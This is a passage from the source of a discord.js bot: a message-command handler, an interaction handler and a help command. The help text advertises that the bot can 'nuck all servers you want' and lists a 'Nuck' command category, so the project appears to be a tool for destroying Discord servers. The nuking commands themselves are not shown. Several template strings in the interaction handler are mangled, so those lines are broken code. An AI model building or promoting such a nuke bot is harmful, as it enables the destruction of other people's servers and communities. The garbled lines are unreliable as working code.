Me').setEmoji(client.emotes.invite).setURL(client.config.discord.invite),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Support').setEmoji(client.emotes.help).setURL(`${client.config.discord.server_support}`)])] 35 | }) 36 | } 37 | 38 | const args = message.content.slice(prefix.length).trim().split(/ +/g); 39 | const commandName = args.shift().toLowerCase(); 40 | if(!commandName) return; 41 | const command = client.messageCommands.get(commandName) || client.messageCommands.find(cmd => cmd.aliases && cmd.aliases.includes(commandName)); 42 | 43 | //============ Check Perm 44 | if(!message.channel.permissionsFor(message.guild.members.me).has([PermissionsBitField.Flags.SendMessages])) return message.author.send({content: `${client.emotes.error}| I am missing the Permission to \`SendMessages\` in ${message.channel}`,}); 45 | if(!message.channel.permissionsFor(message.guild.members.me).has([PermissionsBitField.Flags.UseExternalEmojis])) return message.reply({content: `${client.emotes.error}| I am missing the Permission to \`UseExternalEmojis\` in ${message.channel}`}); 46 | if(!message.channel.permissionsFor(message.guild.members.me).has([PermissionsBitField.Flags.EmbedLinks])) return message.reply({ content: `${client.emotes.error}| I am missing the Permission to \`EmbedLinks\` in ${message.channel}` }); 47 | 48 | //======== Command Cooldown ======== 49 | if(!client.cooldowns.has(command.name)) { 50 | client.cooldowns.set(command.name, new Collection()); 51 | } 52 | const now = Date.now(); 53 | const timestamps = client.cooldowns.get(command.name); 54 | const cooldownAmount = (command.cooldown || 5) * 1000; 55 | 56 | if (timestamps.has(message.author.id)) { 57 | const expirationTime = timestamps.get(message.author.id) + cooldownAmount; 58 | 59 | if (now < expirationTime) { 60 | const timeLeft = (expirationTime - now) / 1000; 61 | return message.reply({ 62 | embeds: [new EmbedBuilder().setColor(client.colors.none).setDescription(`**${client.emotes.alert}| Please wait before reusing the \`${command.name}\` command!**`)], 63 | }) 64 | } 65 | } 66 | timestamps.set(message.author.id, now); 67 | setTimeout(() => timestamps.delete(message.author.id), cooldownAmount); 68 | 69 | 70 | //======== Command Handler ======== 71 | try{ 72 | if (command) command.run(client, message, args, Tprefix); 73 | } catch { 74 | } 75 | }; 76 | /** 77 | * @Info 78 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 79 | * @Info 80 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 81 | * @Info 82 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 83 | * @Info 84 | */ -------------------------------------------------------------------------------- /events/interaction/interactionCreate.txt: -------------------------------------------------------------------------------- 1 | const { 2 | ButtonBuilder, 3 | ActionRowBuilder, 4 | StringSelectMenuBuilder, 5 | EmbedBuilder, 6 | ButtonStyle, 7 | ChannelType, 8 | Collection, 9 | PermissionsBitField, 10 | ApplicationCommandOptionType, 11 | } = require("discord.js"); 12 | const { 13 | errorMessage 14 | } = require(`${process.cwd()}/functions/functions`); 15 | const clc = require("cli-color"); 16 | module.exports = async (client, interaction) => { 17 | try { 18 | let db = client.db; 19 | let lang = await db.has(`guild_${interaction.guild.id}.language`)? await db.get(`guild_${interaction.guild.id}.language`) : client.config.default_language; 20 | let prefix = await db.has(`guild_${interaction.guild.id}.prefix`)? await db.get(`guild_${interaction.guild.id}.prefix`) : `${client.prefix}`; 21 | if(!interaction.member.permissions.has([PermissionsBitField.Flags.EmbedLinks])) return interaction.reply({ content: `${client.emotes.error}| I am missing the Permission to \`EmbedLinks\` in guild.`, ephemeral: true }) 22 | if(!interaction.member.permissions.has([PermissionsBitField.Flags.UseExternalEmojis])) return interaction.reply({ content: `${client.emotes.x}| I am missing the Permission to \`UseExternalEmojis\` in guild.`, ephemeral: true }) 23 | if(interaction.isCommand()){ 24 | const command = client.slashCommands.get(interaction.commandName); 25 | if (command){ 26 | const args = []; 27 | 28 | for (let option of interaction.options.data) { 29 | if (option.type === ApplicationCommandOptionType.Subcommand) { 30 | if (option.name) args.push(option.name); 31 | option.options?.forEach((x) => { 32 | if (x.value) args.push(x.value); 33 | }) 34 | } else if (option.value) args.push(option.value); 35 | } 36 | if (command.toggleOff) { 37 | return await interaction.reply({ 38 | embeds: [new EmbedBuilder() 39 | .setTitle(`${client.emotes.badage}| **That Command Has Been Disabled By The Developers! Please Try Later.**`) 40 | .setColor(client.colors.red) 41 | ], 42 | ephemeral: true 43 | }).catch((e) => { 44 | console.log(e) 45 | }); 46 | } 47 | let bot_perms = []; 48 | command.botPermissions.forEach(perm=> bot_perms.push(PermissionsBitField.Flags[perm])) 49 | let user_perms = []; 50 | command.userPermissions.forEach(perm=> user_perms.push(PermissionsBitField.Flags[perm])) 51 | if (!interaction.guild.members.me.permissions.has([bot_perms] || [])) return await interaction.reply({ embeds: [new EmbedBuilder().setDescription(`${client.emotes.x}| **I don't have permission to respond c.name === command.name).name}:${client.application.commands.cache.find(c => c.name === command.name).id}> command!! \nPermissions need: [${command.botPermissions.map(p=> `\`${p}\``).join(" , ")}]**`).setColor(client.colors.orange)], ephemeral: true }).catch((e) => { console.log(e) }); 52 | 53 | if (!interaction.member.permissions.has([user_perms] || [])) return await interaction.reply({ embeds: [new EmbedBuilder().setDescription(`${client.emotes.error}| **You don't have permission to use c.name === command.name).name}:${client.application.commands.cache.find(c => c.name === command.name).id}> command!! \nPermissions need: [${command.userPermissions.map(p=> `\`${p}\``).join(" , ")}]**`).setColor(client.colors.red)], ephemeral: true }).catch((e) => { console.log(e) }); 54 | 55 | //======== Slash Command Cooldown ======== 56 | if (!client.slashCooldowns.has(command.name)) { 57 | client.slashCooldowns.set(command.name, new Collection()); 58 | } 59 | const now = Date.now(); 60 | const timestamps = client.slashCooldowns.get(command.name); 61 | const cooldownAmount = (command.cooldown || 5) * 1000; 62 | if (timestamps.has(interaction.user.id)) { 63 | const expirationTime = timestamps.get(interaction.user.id) + cooldownAmount; 64 | if (now < expirationTime) { 65 | const timeLeft = (expirationTime - now) / 1000; 66 | return interaction.reply({ 67 | embeds: [new EmbedBuilder().setColor(client.colors.none).setDescription(`**${client.emotes.alert}| Please wait before reusing the c.name === command.name).name}:${client.application.commands.cache.find(c => c.name === command.name).id}> command!**`)], 68 | ephemeral: true 69 | }) 70 | } 71 | } 72 | timestamps.set(interaction.user.id, now); 73 | setTimeout(() => timestamps.delete(interaction.user.id), cooldownAmount); 74 | 75 | //======== Slash Command Handler ======== 76 | command.run(client, interaction, args, lang, prefix); 77 | } else { 78 | return; 79 | } 80 | } 81 | if(interaction.isUserContextMenuCommand()){ 82 | const command = client.slashCommands.get(interaction.commandName); 83 | if(command) command.run(client, interaction, lang, prefix); 84 | } 85 | }catch(e){ 86 | console.log(e) 87 | errorMessage(client, interaction, '```js\n'+e+'```') 88 | } 89 | } 90 | /** 91 | * @Info 92 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 93 | * @Info 94 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 95 | * @Info 96 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 97 | * @Info 98 | */ -------------------------------------------------------------------------------- /commands/Infos 📊/help.js: -------------------------------------------------------------------------------- 1 | const { 2 | ButtonBuilder, 3 | ActionRowBuilder, 4 | StringSelectMenuBuilder, 5 | EmbedBuilder, 6 | PermissionsBitField, 7 | ButtonStyle, 8 | ApplicationCommandType, 9 | ApplicationCommandOptionType 10 | } = require('discord.js'); 11 | const { 12 | HelpCategoryEmbed, 13 | errorMessage 14 | } = require(`${process.cwd()}/functions/functions`); 15 | module.exports = { 16 | name: 'help', 17 | description: 'Show to you about bot info and commands.', 18 | category: 'Infos 📊', 19 | cooldown: 2, 20 | userPermissions: ["SendMessages"], 21 | botPermissions: ["SendMessages", "EmbedLinks"], 22 | aliases: ['h','help me'], 23 | usage: "", 24 | run: async (client, message, args, prefix) => { 25 | let command_name = args.slice(1).join(" "); 26 | let help = new EmbedBuilder() 27 | .setAuthor({ 28 | name: `${client.user.username} Help` 29 | }) 30 | .setFooter({ 31 | text: `Requested by ${message.author.tag}`, 32 | iconURL: message.author.displayAvatarURL({ dynamic: true }) 33 | }) 34 | .setColor(client.colors.none) 35 | .addFields([{ 36 | name: `About me:`, 37 | value: `>>> Hi👋🏻, I'm **[${client.user.username}](${client.config.discord.invite})${client.emotes.hack}**\n With my help, you can nuck all servers you want, support for message commands and other things${client.emotes.learn}`, 38 | inline: false 39 | },{ 40 | name: `My prefix:`, 41 | value: `>>> In here my prefix is: **"\`${prefix}\`"** \n use for send help menu: **"\`${prefix}help\`"**` 42 | },{ 43 | name: `How See Commands:`, 44 | value: `>>> With selecting one of the options from the menu below you can see information about commands in those categories.`, 45 | inline: false 46 | }]) 47 | .setThumbnail(client.user.displayAvatarURL({ dynamic: true })) 48 | 49 | if(command_name) { 50 | const cmd = client.messageCommands.get(command_name.toLowerCase()); 51 | if(!cmd || !cmd.name){ 52 | return message.reply({ content: `**${client.emotes.error}| It seems like \`${command_name.toLowerCase()}\` is not a valid command! Please try Again!**`, ephemeral: true }) 53 | } 54 | const embed = new EmbedBuilder() 55 | .setColor(client.colors.none) 56 | .setAuthor({ 57 | name: `${client.user.username} Help` 58 | }) 59 | .setFooter({ 60 | text: `Requested by ${message.author.tag} • for more info use ${prefix}help`, 61 | iconURL: message.author.displayAvatarURL({ dynamic: true }) 62 | }) 63 | .setThumbnail(client.user.displayAvatarURL({ dynamic: true })) 64 | 65 | let component = [new ActionRowBuilder().addComponents(new ButtonBuilder().setStyle(ButtonStyle.Secondary).setLabel('Report').setEmoji(client.emotes.report).setCustomId(`report`)), new ActionRowBuilder().addComponents([new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Invite Me').setEmoji(client.emotes.invite).setURL(client.config.discord.invite),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Support').setEmoji(client.emotes.help).setURL(`${client.config.discord.server_support}`)])] 66 | let cmds = client.application.commands.cache.find(c => c.name === cmd.name); 67 | embed.setTitle(`${prefix}${cmds.id}`) 68 | let fields = [{ 69 | name: 'Name:', 70 | value: `${cmd.name}` 71 | },{ 72 | name: 'Description:', 73 | value: `${cmd.description || 'No Description provided!'}` 74 | },{ 75 | name: 'Category:', 76 | value: `${cmd.category}` 77 | }] 78 | if(cmd.cooldown){ 79 | fields.push({ 80 | name: 'Cooldown:', 81 | value: `**\`${cmd.cooldown} Seconds\`**` 82 | }) 83 | } 84 | if(cmd.aliases){ 85 | fields.push({ 86 | name: 'Aliases:', 87 | value: `**${cmd.aliases.map(a=> `\`${a}\``).join(', ')}**` 88 | }) 89 | } 90 | if(cmd.userPermissions){ 91 | fields.push({ 92 | name: 'Permissions Need To User:', 93 | value: `**[ ${cmd.userPermissions.map(i => { return `\`${i}\`` }).join(" , ")} ]**` 94 | }) 95 | } 96 | if(cmd.botPermissions){ 97 | fields.push({ 98 | name: 'Permissions Need To Bot:', 99 | value: `**[ ${cmd.botPermissions.map(i => { return `\`${i}\`` }).join(" , ")} ]**` 100 | }) 101 | } 102 | embed.addFields(fields) 103 | return message.reply({ 104 | embeds: [embed], 105 | components: component 106 | }) 107 | }else{ 108 | let menu_options = [{ 109 | label: 'Infos Help', 110 | value: 'Infos 📊', 111 | emoji: '📊', 112 | },{ 113 | label: 'Nuck Help', 114 | value: 'Nuck 📟', 115 | emoji: '📟', 116 | }] 117 | let help_menu = new StringSelectMenuBuilder() 118 | .setCustomId("help_menu") 119 | .setMaxValues(1) 120 | .setMinValues(1) 121 | .setPlaceholder(`${client.emotes.help}| Click me for select !!`) 122 | .addOptions(menu_options) 123 | 124 | let home_btn = new ButtonBuilder() 125 | .setStyle(ButtonStyle.Success) 126 | .setLabel('Home Page') 127 | .setEmoji(client.emotes.home) 128 | .setCustomId("home_page") 129 | 130 | let component_1 = [new ActionRowBuilder().addComponents(help_menu.setDisabled(false)),new ActionRowBuilder().addComponents(home_btn.setDisabled(true),new ButtonBuilder().setStyle(ButtonStyle.Primary).setLabel('Premium').setEmoji(client.emotes.premium).setCustomId("premium")),new ActionRowBuilder().addComponents(new ButtonBuilder().setStyle(ButtonStyle.Secondary).setLabel('Report').setEmoji(client.emotes.report).setCustomId(`report`),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Invite Me').setEmoji(client.emotes.invite).setURL(client.config.discord.invite),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Support').setEmoji(client.emotes.help).setURL(`${client.config.discord.server_support}`))]; 131 | 132 | const embedMessage = await message.reply({ 133 | embeds: [help], 134 | components: component_1 135 | }) 136 | const collector = embedMessage.createMessageComponentCollector({ time: 70000 }); 137 | collector.on('collect', async (m) => { 138 | if(m.user.id === message.author.id){ 139 | if(m.isButton()){ 140 | if(m.customId === "home_page"){ 141 | m.update({ 142 | embeds: [help], 143 | components: component_1 144 | }) 145 | } 146 | } 147 | if(m.isStringSelectMenu()){ 148 | if(m.customId === "help_menu"){ 149 | m.values.forEach((value)=>{ 150 | return HelpCategoryEmbed(prefix, value, client, m, [new ActionRowBuilder().addComponents(help_menu.setDisabled(false)),new ActionRowBuilder().addComponents(home_btn.setDisabled(false),new ButtonBuilder().setStyle(ButtonStyle.Primary).setLabel('Premium').setEmoji(client.emotes.premium).setCustomId("premium")),new ActionRowBuilder().addComponents(new ButtonBuilder().setStyle(ButtonStyle.Secondary).setLabel('Report').setEmoji(client.emotes.report).setCustomId(`report`),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Invite Me').setEmoji(client.emotes.invite).setURL(client.config.discord.invite),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Support').setEmoji(client.emotes.help).setURL(`${client.config.discord.server_support}`))]) 151 | }) 152 | } 153 | } 154 | }else{ 155 | return errorMessage(client, m, `This message only for ${message.author} and you can't use it.\nfor use components send this: "\`.help\`"`) 156 | } 157 | }) 158 | setTimeout(()=>{ return embedMessage.edit({ components: [new ActionRowBuilder().addComponents(new ButtonBuilder().setCustomId('timeout').setEmoji(client.emotes.alert).setLabel('Time Is Up').setStyle(ButtonStyle.Primary).setDisabled(true),new ButtonBuilder().setStyle(ButtonStyle.Primary).setLabel('Premium').setEmoji(client.emotes.premium).setCustomId("premium")),new ActionRowBuilder().addComponents(new ButtonBuilder().setStyle(ButtonStyle.Secondary).setLabel('Report').setEmoji(client.emotes.report).setCustomId(`report`),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Invite Me').setEmoji(client.emotes.invite).setURL(client.config.discord.invite),new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Support').setEmoji(client.emotes.help).setURL(`${client.config.discord.server_support}`))] })},70000) 159 | } 160 | } 161 | } 162 | /** 163 | * @Info 164 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 165 | * @Info 166 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 167 | * @Info 168 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 169 | * @Info 170 | */ --------------------------------------------------------------------------------